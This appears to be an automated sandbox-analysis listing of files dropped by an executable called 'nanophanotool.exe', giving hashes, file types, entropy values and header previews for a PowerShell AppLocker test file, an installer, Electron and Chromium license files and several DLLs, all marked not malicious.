                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1082339
                                                                                                                                                                                                                                        Entropy (8bit):7.954841044059053
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:xVn3fddwR4kw/e3KN7OQt2r+ytcGale5q7fWtzqgsX5Ivr+r:bfdHkwWW7m+dJeztzqgu5Ivr+r
                                                                                                                                                                                                                                        MD5:1676B926564776E931EB4126D09E79A6
                                                                                                                                                                                                                                        SHA1:189E4F0C57824A4B060334EE120417FCA776D2A9
                                                                                                                                                                                                                                        SHA-256:F649F66116A3351B60AA914E0B1944C2181485B1CF251FC9C1F6DAB8A9DB426B
                                                                                                                                                                                                                                        SHA-512:3B9706026FDD631EC14D1473BA8EB2E56510FDD1B8C9237740A0E1B15DFCB1D7C8028139AD9ADA12A3056C187BC1B5A822CC9C112A511705C2E2E74FFEBD1D5D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@.......................................@.................................@......................S0...S...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc..............................@..@.reloc...............L..............@..B................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1096
                                                                                                                                                                                                                                        Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                        MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                        SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                        SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                        SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:HTML document, ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):8312662
                                                                                                                                                                                                                                        Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                        MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                        SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                        SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                        SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):160084992
                                                                                                                                                                                                                                        Entropy (8bit):6.744040286676365
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1572864:3LBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:3ypCmJctBjj2+Jv
                                                                                                                                                                                                                                        MD5:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        SHA1:39ECD0D72B0DB7FCCFC7E85F1EA89D236547A8AF
                                                                                                                                                                                                                                        SHA-256:9F958B85DC42AC6301FE1ABFD4B11316B637C0B8C0BF627C9B141699DC18E885
                                                                                                                                                                                                                                        SHA-512:B15D3BDA1E9F4886ED72EA681C50CB495DB4C9FBC6C3BA553D93AD8C227A0D8AABC1A799B912D61C90C1D4BFC478B6509BEF2E2E661E949D1C3301F0B389521D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...T.......F.........@..........................................`...........................................+.. ..0"..h............Pt.._@..........P.......!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc......P........|.............@..B................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):127125
                                                                                                                                                                                                                                        Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                        MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                        SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                        SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                        SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):177406
                                                                                                                                                                                                                                        Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                        MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                        SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                        SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                        SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4916712
                                                                                                                                                                                                                                        Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                        MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                        SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                        SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                        SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):2883072
                                                                                                                                                                                                                                        Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                        MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                        SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                        SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                        SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10542048
                                                                                                                                                                                                                                        Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                        MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                        SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                        SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                        SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):481280
                                                                                                                                                                                                                                        Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                        MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                        SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                        SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                        SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):7625728
                                                                                                                                                                                                                                        Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                        MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                        SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                        SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                        SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
